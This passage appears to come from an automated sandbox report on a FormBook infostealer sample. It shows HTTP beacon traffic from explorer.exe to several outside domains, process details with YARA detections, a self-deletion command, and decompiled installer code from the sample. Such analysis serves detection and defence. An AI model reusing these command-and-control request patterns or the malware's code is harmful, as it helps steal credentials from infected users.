                                                                                  Content-Length: 162
                                                                                  Connection: close
                                                                                  Location: https://www.crickescore.com/bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8
                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                  Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  7192.168.2.44976234.102.136.18080C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:55:21.008250952 CEST5533OUTGET /bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8 HTTP/1.1
                                                                                  Host: www.1800quilts.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:55:21.145359039 CEST5534INHTTP/1.1 403 Forbidden
                                                                                  Server: openresty
                                                                                  Date: Tue, 04 May 2021 06:55:21 GMT
                                                                                  Content-Type: text/html
                                                                                  Content-Length: 275
                                                                                  ETag: "6089be8c-113"
                                                                                  Via: 1.1 google
                                                                                  Connection: close
                                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                                                  Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  8192.168.2.44976560.205.226.13880C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:55:26.535928011 CEST5553OUTGET /bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi HTTP/1.1
                                                                                  Host: www.xiangyuwenhua.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  9192.168.2.4497663.34.109.20180C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:55:32.801975965 CEST5555OUTGET /bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8 HTTP/1.1
                                                                                  Host: www.seroungift.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:55:33.092298031 CEST5556INHTTP/1.1 404 Not Found
                                                                                  Date: Tue, 04 May 2021 06:55:32 GMT
                                                                                  Server: Apache
                                                                                  X-Powered-By: PHP/5.6.36
                                                                                  X-Frame-Options: SAMEORIGIN
                                                                                  Cache-Control: No-Cache
                                                                                  Connection: close
                                                                                  Transfer-Encoding: chunked
                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                  Data Raw: 31 65 30 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6b 72 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 33 36 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e ed 86 b5 ed 95 a9 eb b3 b4 ed 97 98 20 eb b9 84 ea b5 90 ea b2 ac ec a0 81 ec 82 ac ec 9d b4 ed 8a b8 3c 2f 74 69 74 6c 65 3e 0a 09 09 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 31 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 51 75 65 72 79 2e 73 65 72 69 61 6c 69 7a 65 4f 62 6a 65 63 74 2f 32 2e 30 2e 33 2f 6a 71 75 65 72 79 2e 73 65 72 69 61 6c 69 7a 65 4f 62 6a 65 63 74 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 73 6f 6e 33 2f 33 2e 33 2e 32 2f 6a 73 6f 6e 33 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 20 20 24 66 6f 72 6d 20 3d 20 24 28 27 2e 70 75 72 65 2d 66 6f 72 6d 27 29 3b 0a 20 20 20 20 20 20 24 66 6f 72 6d 2e 73 75 62 6d 69 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 24 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 76 61 72 20 66 20 3d 20 74 68 69 73 3b 0a 0a 09 09 69 66 20 28 66 2e 61 67 72 65 65 2e 63 68 65 63 6b 65 64 20 3d 3d 20 66 61 6c 73 65 29 0a 09 09 09 7b 0a 09 09 09 09 61 6c 65 72 74 28 27 ea b0 9c ec 9d b8 ec a0 95 eb b3 b4 ec b7 a8 ea b8 89 eb b0 a9 ec b9 a8 ec 97 90 20 eb 8f 99 ec 9d 98 ed 95 b4 20 ec a3 bc ec 84 b8 ec 9a 94 2e 27 29 3b 0a 09 09 09 09 66 2e 61 67 72 65 65 2e 66 6f 63 75 73 28 29 3b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 0a 09 09 09 0a 09 09 09 09 69 66 20 28 66 2e 63 75 73 74 6f 6d 65 72 5f 6e 61 6d 65 2e 76 61 6c 75 65 20 3d 3d 20 22 22 29 0a 09 09 09 7b 0a 09 09 09 09 61 6c 65 72 74 28 27 ec 9d b4 eb a6 84 ec 9d 84 20 ec 9e 85 eb a0 a5 ed 95 b4 20 ec a3 bc ec 84 b8 ec 9a 94 2e 27 29 3b 0a 09 09 09 09 66 2e 63 75 73 74 6f 6d 65 72 5f 6e 61 6d 65 2e 66 6f 63 75 73 28 29 3b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 0a 20 20 20 20 09 09 09 69 66 20 28 66 2e 63 75 73 74 6f 6d 65 72 5f 62 69 72 74 68 2e 76 61 6c 75 65 20 3d 3d 20 22 22 29 0a 09 09 09 7b 0a 09 09 09 09 61 6c 65 72 74 28 27 ec 83 9d eb 85 84 ec 9b 94 ec 9d bc ec 9d 84 20 ec 9e 85 eb a0 a5 ed 95
                                                                                  Data Ascii: 1e04<!doctype html><html lang="kr"><head><meta name="viewport" content="width=360, user-scalable=no"><meta charset="UTF-8"><meta name="format-detection" content="telephone=no" /><title> </title><script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jQuery.serializeObject/2.0.3/jquery.serializeObject.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/json3/3.3.2/json3.min.js"></script> <script type="text/javascript"> jQuery(function($) { $form = $('.pure-form'); $form.submit(function(e) { var $this = $(this);var f = this;if (f.agree.checked == false){alert(' .');f.agree.focus();return false;}if (f.customer_name.value == ""){alert(' .');f.customer_name.focus();return false;} if (f.customer_birth.value == ""){alert('
                                                                                  May 4, 2021 08:55:33.092314959 CEST5557INData Raw: b4 20 ec a3 bc ec 84 b8 ec 9a 94 2e 27 29 3b 0a 09 09 09 09 66 2e 63 75 73 74 6f 6d 65 72 5f 62 69 72 74 68 2e 66 6f 63 75 73 28 29 3b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 20 28 66 2e 6d 6f 62
                                                                                  Data Ascii: .');f.customer_birth.focus();return false;}if (f.mobile23.value.length < 7){alert(' .');f.mobile23.focus();return false;} var fo_obj = $('.pure-for
                                                                                  May 4, 2021 08:55:33.092327118 CEST5559INData Raw: 6c 6c 62 61 72 2c 20 72 65 73 69 7a 61 62 6c 65 29 0a 7b 0a 20 20 74 6f 6f 6c 62 61 72 5f 73 74 72 20 3d 20 74 6f 6f 6c 62 61 72 20 3f 20 27 79 65 73 27 20 3a 20 27 6e 6f 27 3b 0a 20 20 6d 65 6e 75 62 61 72 5f 73 74 72 20 3d 20 6d 65 6e 75 62 61
                                                                                  Data Ascii: llbar, resizable){ toolbar_str = toolbar ? 'yes' : 'no'; menubar_str = menubar ? 'yes' : 'no'; statusbar_str = statusbar ? 'yes' : 'no'; scrollbar_str = scrollbar ? 'yes' : 'no'; resizable_str = resizable ? 'yes' : 'no'; window.op
                                                                                  May 4, 2021 08:55:33.092343092 CEST5560INData Raw: 31 20 6c 61 62 65 6c 22 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 09 24 28 22 2e 53 65 78 5f 42 74 6e 31 20 6c 61 62 65 6c 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 53 65 6c 65 63 74 65 64 22 29 3b 0a 09 09 09
                                                                                  Data Ascii: 1 label").click(function(){$(".Sex_Btn1 label").removeClass("Selected");$(this).addClass("Selected");});$(".Sex_Btn2 label").click(function(){$(".Sex_Btn2 label").removeClass("Selected");$(this).addClass("Sele
                                                                                  May 4, 2021 08:55:33.092364073 CEST5562INData Raw: 2d 2f 2f 20 20 ed 8f bc 20 ec 8b 9c ec 9e 91 20 2d 2d 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 5f 62 6f 78 22 3e 0a 09 09 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 22 20 63 6c 61 73 73 3d 22 70 75 72 65 2d 66 6f 72 6d 22 20 6d 65
                                                                                  Data Ascii: -// --><div class="form_box"><form action="" class="pure-form" method="post" target="actionFrame" name="consult_frm"><input type="hidden" name="mobile2" id="mobile2" value=""><input type="hidden" name="mobile3" id="mob
                                                                                  May 4, 2021 08:55:33.092391014 CEST5563INData Raw: 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 30 31 39 22 3e 30 31 39 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09
                                                                                  Data Ascii: option value="019">019</option></select></span><span><input type="tel" class="ip_base" id="mobile23" name="mobile23" value="" placeholder="'-' " maxlength="8" style="width:127px;">
                                                                                  May 4, 2021 08:55:33.092415094 CEST5564INData Raw: 64 30 61 0d 0a 2d 2d 20 70 72 69 76 61 63 79 20 2d 2d 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 5f 73 75 62 22 20 73 74 79 6c 65 3d 22 20 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 3c 2f
                                                                                  Data Ascii: d0a-- privacy --><button type="submit" class="btn_sub" style=" "></button></form>... --><div class="real_insu_wrap"><div class="insu_list_area"><div id="realtime_calculation_list"><ul class="rolling">
                                                                                  May 4, 2021 08:55:33.092439890 CEST5565INData Raw: ec 99 84 eb a3 8c 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 3c 6c 69 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6e 61 6d 65 5f 6e 65 77 22 3e ec 84 b1 2a 2a 3c 2f 73 70 61 6e 3e
                                                                                  Data Ascii: </i></span></li><li><span class="name_new">**</span><span class="sex">010-OOOO-7547</span><span class="age"><i></i></span></li><li><span class="name_new">**</span>
                                                                                  May 4, 2021 08:55:33.092459917 CEST5566INData Raw: 61 6e 20 63 6c 61 73 73 3d 22 6e 61 6d 65 5f 6e 65 77 22 3e ea b0 95 2a 2a 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 78 22 3e 30 31 30 2d 4f 4f 4f 4f 2d 37 38 32 32 3c 2f 73 70 61 6e 3e 0a 09 09 09 09
                                                                                  Data Ascii: an class="name_new">**</span><span class="sex">010-OOOO-7822</span><span class="age"><i></i></span></li><li><span class="name_new">**</span><span class="sex">010-OOOO-5473</span>


                                                                                  Code Manipulations

                                                                                  Statistics

                                                                                  CPU Usage

                                                                                  Click to jump to process

                                                                                  Memory Usage

                                                                                  Click to jump to process

                                                                                  High Level Behavior Distribution

                                                                                  Click to dive into process behavior distribution

                                                                                  Behavior

                                                                                  Click to jump to process

                                                                                  System Behavior

                                                                                  General

                                                                                  Start time:08:53:40
                                                                                  Start date:04/05/2021
                                                                                  Path:C:\Users\user\Desktop\SWIFT 00395_IMG.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:'C:\Users\user\Desktop\SWIFT 00395_IMG.exe'
                                                                                  Imagebase:0x400000
                                                                                  File size:14050919 bytes
                                                                                  MD5 hash:F19E6012FF248B9B380BB420080258CE
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  Reputation:low

                                                                                  General

                                                                                  Start time:08:53:42
                                                                                  Start date:04/05/2021
                                                                                  Path:C:\Windows\SysWOW64\svchost.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:'C:\Users\user\Desktop\SWIFT 00395_IMG.exe'
                                                                                  Imagebase:0xdd0000
                                                                                  File size:44520 bytes
                                                                                  MD5 hash:FA6C268A5B5BDA067A901764D203D433
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  Reputation:moderate

                                                                                  General

                                                                                  Start time:08:53:47
                                                                                  Start date:04/05/2021
                                                                                  Path:C:\Windows\explorer.exe
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:
                                                                                  Imagebase:0x7ff6fee60000
                                                                                  File size:3933184 bytes
                                                                                  MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high

                                                                                  General

                                                                                  Start time:08:54:04
                                                                                  Start date:04/05/2021
                                                                                  Path:C:\Windows\SysWOW64\msdt.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\SysWOW64\msdt.exe
                                                                                  Imagebase:0xb00000
                                                                                  File size:1508352 bytes
                                                                                  MD5 hash:7F0C51DBA69B9DE5DDF6AA04CE3A69F4
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Author: Joe Security
                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                  Reputation:moderate

                                                                                  General

                                                                                  Start time:08:54:09
                                                                                  Start date:04/05/2021
                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:/c del 'C:\Windows\SysWOW64\svchost.exe'
                                                                                  Imagebase:0x11d0000
                                                                                  File size:232960 bytes
                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high

                                                                                  General

                                                                                  Start time:08:54:09
                                                                                  Start date:04/05/2021
                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  Imagebase:0x7ff724c50000
                                                                                  File size:625664 bytes
                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high

                                                                                  Disassembly

                                                                                  Code Analysis

                                                                                  Reset < >

                                                                                    Executed Functions

                                                                                    C-Code - Quality: 86%
                                                                                    			_entry_() {
                                                                                    				signed int _t42;
                                                                                    				intOrPtr* _t47;
                                                                                    				CHAR* _t51;
                                                                                    				char* _t53;
                                                                                    				CHAR* _t55;
                                                                                    				void* _t59;
                                                                                    				intOrPtr _t61;
                                                                                    				int _t63;
                                                                                    				int _t66;
                                                                                    				signed int _t67;
                                                                                    				int _t68;
                                                                                    				signed int _t70;
                                                                                    				void* _t94;
                                                                                    				signed int _t110;
                                                                                    				void* _t113;
                                                                                    				void* _t118;
                                                                                    				intOrPtr* _t119;
                                                                                    				char _t122;
                                                                                    				signed int _t141;
                                                                                    				signed int _t142;
                                                                                    				int _t150;
                                                                                    				void* _t151;
                                                                                    				intOrPtr* _t153;
                                                                                    				CHAR* _t156;
                                                                                    				CHAR* _t157;
                                                                                    				void* _t159;
                                                                                    				char* _t160;
                                                                                    				void* _t163;
                                                                                    				void* _t164;
                                                                                    				char _t189;
                                                                                    
                                                                                    				 *(_t164 + 0x18) = 0;
                                                                                    				 *((intOrPtr*)(_t164 + 0x10)) = "Error writing temporary file. Make sure your temp folder is valid.";
                                                                                    				 *(_t164 + 0x20) = 0;
                                                                                    				 *(_t164 + 0x14) = 0x20;
                                                                                    				SetErrorMode(0x8001); // executed
                                                                                    				_t42 = GetVersion() & 0xbfffffff;
                                                                                    				 *0x42474c = _t42;
                                                                                    				if(_t42 != 6) {
                                                                                    					_t119 = E00406631(0);
                                                                                    					if(_t119 != 0) {
                                                                                    						 *_t119(0xc00);
                                                                                    					}
                                                                                    				}
                                                                                    				_t156 = "UXTHEME";
                                                                                    				do {
                                                                                    					E004065C3(_t156); // executed
                                                                                    					_t156 =  &(_t156[lstrlenA(_t156) + 1]);
                                                                                    				} while ( *_t156 != 0);
                                                                                    				E00406631(0xb);
                                                                                    				 *0x424744 = E00406631(9);
                                                                                    				_t47 = E00406631(7);
                                                                                    				if(_t47 != 0) {
                                                                                    					_t47 =  *_t47(0x1e);
                                                                                    					if(_t47 != 0) {
                                                                                    						 *0x42474f =  *0x42474f | 0x00000040;
                                                                                    					}
                                                                                    				}
                                                                                    				__imp__#17(_t159);
                                                                                    				__imp__OleInitialize(0); // executed
                                                                                    				 *0x424818 = _t47;
                                                                                    				SHGetFileInfoA(0x41fd10, 0, _t164 + 0x38, 0x160, 0); // executed
                                                                                    				E00406228(0x423f40, "NSIS Error");
                                                                                    				_t51 = GetCommandLineA();
                                                                                    				_t160 = "\"C:\\Users\\jones\\Desktop\\SWIFT 00395_IMG.exe\" ";
                                                                                    				E00406228(_t160, _t51);
                                                                                    				 *0x424740 = 0x400000;
                                                                                    				_t53 = _t160;
                                                                                    				if("\"C:\\Users\\jones\\Desktop\\SWIFT 00395_IMG.exe\" " == 0x22) {
                                                                                    					 *(_t164 + 0x14) = 0x22;
                                                                                    					_t53 =  &M0042A001;
                                                                                    				}
                                                                                    				_t55 = CharNextA(E00405BEB(_t53,  *(_t164 + 0x14)));
                                                                                    				 *(_t164 + 0x1c) = _t55;
                                                                                    				while(1) {
                                                                                    					_t122 =  *_t55;
                                                                                    					_t172 = _t122;
                                                                                    					if(_t122 == 0) {
                                                                                    						break;
                                                                                    					}
                                                                                    					__eflags = _t122 - 0x20;
                                                                                    					if(_t122 != 0x20) {
                                                                                    						L13:
                                                                                    						__eflags =  *_t55 - 0x22;
                                                                                    						 *(_t164 + 0x14) = 0x20;
                                                                                    						if( *_t55 == 0x22) {
                                                                                    							_t55 =  &(_t55[1]);
                                                                                    							__eflags = _t55;
                                                                                    							 *(_t164 + 0x14) = 0x22;
                                                                                    						}
                                                                                    						__eflags =  *_t55 - 0x2f;
                                                                                    						if( *_t55 != 0x2f) {
                                                                                    							L25:
                                                                                    							_t55 = E00405BEB(_t55,  *(_t164 + 0x14));
                                                                                    							__eflags =  *_t55 - 0x22;
                                                                                    							if(__eflags == 0) {
                                                                                    								_t55 =  &(_t55[1]);
                                                                                    								__eflags = _t55;
                                                                                    							}
                                                                                    							continue;
                                                                                    						} else {
                                                                                    							_t55 =  &(_t55[1]);
                                                                                    							__eflags =  *_t55 - 0x53;
                                                                                    							if( *_t55 != 0x53) {
                                                                                    								L20:
                                                                                    								__eflags =  *_t55 - ((( *0x40a1e7 << 0x00000008 |  *0x40a1e6) << 0x00000008 |  *0x40a1e5) << 0x00000008 | "NCRC");
                                                                                    								if( *_t55 != ((( *0x40a1e7 << 0x00000008 |  *0x40a1e6) << 0x00000008 |  *0x40a1e5) << 0x00000008 | "NCRC")) {
                                                                                    									L24:
                                                                                    									__eflags =  *((intOrPtr*)(_t55 - 2)) - ((( *0x40a1df << 0x00000008 |  *0x40a1de) << 0x00000008 |  *0x40a1dd) << 0x00000008 | " /D=");
                                                                                    									if( *((intOrPtr*)(_t55 - 2)) == ((( *0x40a1df << 0x00000008 |  *0x40a1de) << 0x00000008 |  *0x40a1dd) << 0x00000008 | " /D=")) {
                                                                                    										 *((char*)(_t55 - 2)) = 0;
                                                                                    										__eflags =  &(_t55[2]);
                                                                                    										E00406228("C:\\Users\\jones\\AppData\\Local\\Temp",  &(_t55[2]));
                                                                                    										L30:
                                                                                    										_t157 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
                                                                                    										GetTempPathA(0x400, _t157); // executed
                                                                                    										_t59 = E00403430(_t172);
                                                                                    										_t173 = _t59;
                                                                                    										if(_t59 != 0) {
                                                                                    											L33:
                                                                                    											DeleteFileA("1033"); // executed
                                                                                    											_t61 = E00402EF1(_t175,  *(_t164 + 0x20)); // executed
                                                                                    											 *((intOrPtr*)(_t164 + 0x10)) = _t61;
                                                                                    											if(_t61 != 0) {
                                                                                    												L43:
                                                                                    												E00403949();
                                                                                    												__imp__OleUninitialize();
                                                                                    												_t185 =  *((intOrPtr*)(_t164 + 0x10));
                                                                                    												if( *((intOrPtr*)(_t164 + 0x10)) == 0) {
                                                                                    													__eflags =  *0x4247f4;
